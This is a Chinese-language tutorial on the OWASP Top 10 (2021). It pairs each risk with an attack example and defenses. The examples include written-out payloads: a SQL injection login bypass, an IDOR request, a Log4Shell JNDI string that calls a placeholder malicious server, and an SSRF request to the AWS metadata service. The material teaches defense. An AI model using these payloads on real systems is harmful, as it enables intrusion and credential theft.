OWASP TOP10 (2021)
OWASP(開放式 Web 應用程式安全專案,Open Web Application Security Project)每隔數年會發布 OWASP Top 10,列出全球最常見且最具危害性的 Web 應用程式安全風險。 最新的 OWASP Top 10(2021 版) 針對 Web 安全現狀進行更新,強調了 API 安全、軟體供應鏈安全、及現代開發流程中的新興風險。
A01: 權限控制失效(Broken Access Control)
案例:未驗證的 API 可讓攻擊者存取其他用戶的帳號
漏洞描述
某個網站的 API 允許用戶查詢個人資料,但未妥善驗證存取權限,例如:
GET /api/user/1234
用戶 ID 1234 對應的是目前登入的使用者,但攻擊者發現可以手動修改 ID,存取其他用戶的資料:
GET /api/user/5678
攻擊手法
攻擊者發送不同的 user_id,可能能夠存取 任何 用戶的個資,例如:
- 其他用戶的電子郵件 、住址、電話號碼
- 更改其他用戶的密碼(若 API 沒有額外驗證)
- 竄改帳戶餘額或權限
防禦手法
- 在伺服器端檢查 使用者的 session,確保請求者只能查詢自己的資料
- 使用 OAuth 或 JWT 來管理用戶身份與權限
- 避免在 URL 直接暴露用戶 ID,改用
token或session-based機制
A02: 加密失敗(Cryptographic Failures)
案例:網站使用 HTTP 而非 HTTPS
漏洞描述
某網站仍使用 http://example.com,因此用戶登入時的帳號密碼會以明文傳輸,攻擊者可以透過 中間人攻擊(MITM) 竊取資訊。
攻擊手法
- 攔 截 Wi-Fi:攻擊者在公共 Wi-Fi(如咖啡廳)監聽封包,擷取登入資訊
- DNS 欺騙:導引用戶到惡意網站,並攔截登入資訊
防禦手法
- 強制使用 HTTPS(搭配 TLS 1.2/1.3)
- 使用 HSTS(HTTP Strict Transport Security) 強制瀏覽器僅允許 HTTPS
- 避免儲存敏感資訊,如密碼應以
bcrypt或PBKDF2加密存儲
A03: SQL 注入與其他注入漏洞(Injection)
案例:網站登入表單未使用參數化查詢
漏洞描述
攻擊者在登入表單的 username 欄位輸入:
' OR 1=1 --
伺服器執行的 SQL 變成:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''
這使得無論輸入的密碼為何,查詢條件都成立,攻擊者可以直接登入。
攻擊手法
- SQL Injection:改變 SQL 查詢,繞過身份驗證或刪除資料庫資料
- Blind SQL Injection:透過回應時間來推測資料庫內容
防禦手法
- 使用參數化查詢(Prepared Statements)
- 限制 SQL 權限,避免應用程式帳號擁有刪除或修改所有資料的權限
- 使用 Web 應用程式防火牆(WAF) 來過濾惡意請求
A04: 不安全的設計(Insecure Design)
案例:購物網站未設計驗證流程
漏洞描述
某電商網站允許用戶直接透過 POST /api/checkout 來下單,沒有驗證是否已登入。
攻擊手法
攻擊者透過 curl 或 Postman 直接發送請求:
curl -X POST "https://example.com/api/checkout" -d "item_id=123&quantity=5"
即使沒有登入,攻擊者仍可成功下單。
防禦手法
- 在設計階段就納入身份驗證機制
- 強制要求用戶先登入才能發送購物請求
- 使用 API Gateway 限制未授權的請求
A05: 安全設定錯誤(Security Misconfiguration)
案例:開發環境的預設密碼未移除
漏洞描述
開發人員 忘記移除預設管理員帳號:
username: admin
password: admin123
攻擊者透過簡單的嘗試就能取得系統管理權限。
攻擊手法
- 暴力破解(Brute Force)
- Google Dorking:在 Google 搜索
intitle:"index of /admin"
防禦手法
- 在上線前刪除預設帳號與密碼
- 定期進行安全審查
- 關閉不必要的功能(如
debug mode)
A06: 易受攻擊的元件(Vulnerable and Outdated Components)
案例:未更新的 Log4j 被攻擊
漏洞描述
某公司使用舊版的 Log4j 2.14.1,但該版本存在 RCE(遠端代碼執行)漏洞。
攻擊手法
攻擊者發送特製請求:
${jndi:ldap://malicious-server.com/exploit}
伺服器執行惡意代碼,使攻擊者取得控制權。
防禦手法
- 定期更新第三方函式庫
- 使用軟體成分分析工具(SCA) 監測依賴漏洞
- 限制 JNDI 等高風險功能的使用
A07: 身分驗證與授權失敗(Identification and Authentication Failures)
案例:API Token 無效期
漏洞描述
某 API 允許用戶登入後取得 token,但 token 永不過期,攻擊者一旦 竊取 token,就能永久使用。
攻擊手法
- 攔截 Token(例如透過 MITM)
- Token 重放攻擊(Replay Attack)
防禦手法
- 設定Token 有效期
- 使用 OAuth2 + Refresh Token
- 強制 Token 綁定 IP 或裝置
A08: 軟體與資料完整性失敗(Software and Data Integrity Failures)
案例:SolarWinds 供應鏈攻擊
漏洞描述
SolarWinds 是一家網路監控公司,他們的軟體 Orion 受到供應鏈攻擊,駭客成功在其更新中植入惡意程式碼,導致 全球超過 18,000 家企業與政府機構 受到影響。
攻擊手法
- 供應鏈攻擊:攻擊者入侵 SolarWinds 的開發環境,植入惡意後門
- 偽造更新檔:企業 IT 團隊信任 SolarWinds,安裝帶有惡意程式碼的更新
- 遠端控制受害者系統:惡意軟體建立反向連線,讓攻擊者可以竊取資料或進一步發動攻擊
防禦手法
- 軟體簽章驗證:所有更新應該使用 數位簽章,確保軟體未被篡改
- 限制 CI/CD 權限:開發環境應設定 最低權限原則,避免內部帳號被入侵
- 監測異常行為:企業應該監測軟體的異常網路行為,例如:
- 軟體連接 不明 IP
- 發送 敏感資料 至未知伺服器
A09: 安全記錄與監控失敗(Security Logging and Monitoring Failures)
案例:Uber 遭駭卻未及時發現
漏洞描述
在 2016 年,Uber 的開發人員 不小心 將 AWS 的 API 金鑰推送到 GitHub。駭客發現後,利用該金鑰存取 Uber 的伺服器,竊取了 5,700 萬名用戶與司機的個資。
問題在於 Uber 沒有及時偵測到 此異常行為,直到數個月後才發現攻擊。
攻擊手法
- GitHub 洩露密鑰:駭客掃描公開的 GitHub repo,尋找 API 金鑰
- 無監控機制:Uber 沒有 即時監控 登入 AWS 伺服器的異常行為
- 未記錄 API 請求:攻擊者不斷存取用戶資料,但 Uber 沒有發現可疑請求
防禦手法
- 實施 SIEM(安全事件管理系統),監測異常行為:
- 例如 AWS 伺服器的異常存取警告
- 使用 GitHub 祕密掃描工具,自動檢查是否有 API 金鑰洩露
- 開啟警報機制:當用戶資料被大量存取時,應立即通知管理員
A10: 伺服端請求偽造(SSRF, Server-Side Request Forgery)
案例:攻擊 AWS Metadata Service
漏洞描述
某網站允許用戶輸入 URL 來抓取圖片:
GET /fetch?url=http://example.com/image.jpg
但是,攻擊者輸入:
GET /fetch?url=http://169.254.169.254/latest/meta-data/
這是 AWS EC2 伺服器的 Metadata Service,會回應:
IAM Role: Admin
AWS Access Key: AKIA**********
攻擊者可以利用這個金鑰 存取 AWS 伺服器,甚至刪除伺服器上的所有資料。
攻擊手法
- 內部網路探測:透過 SSRF,攻擊者可存取公司內部 API 或資料庫
- 讀取機密資訊:例如 AWS、GCP、Azure 的 Metadata Service
- 利用 SSRF 作為跳板:對內部系統發動進一步攻擊
防禦手法
- 封鎖內部 IP 存取(例如
169.254.169.254) - 使用 URL 允許清單(Allowlist),只允許存取可信網站
- 關閉 Metadata Service(IMDSv2),防止 AWS 伺服器被 SSRF 利用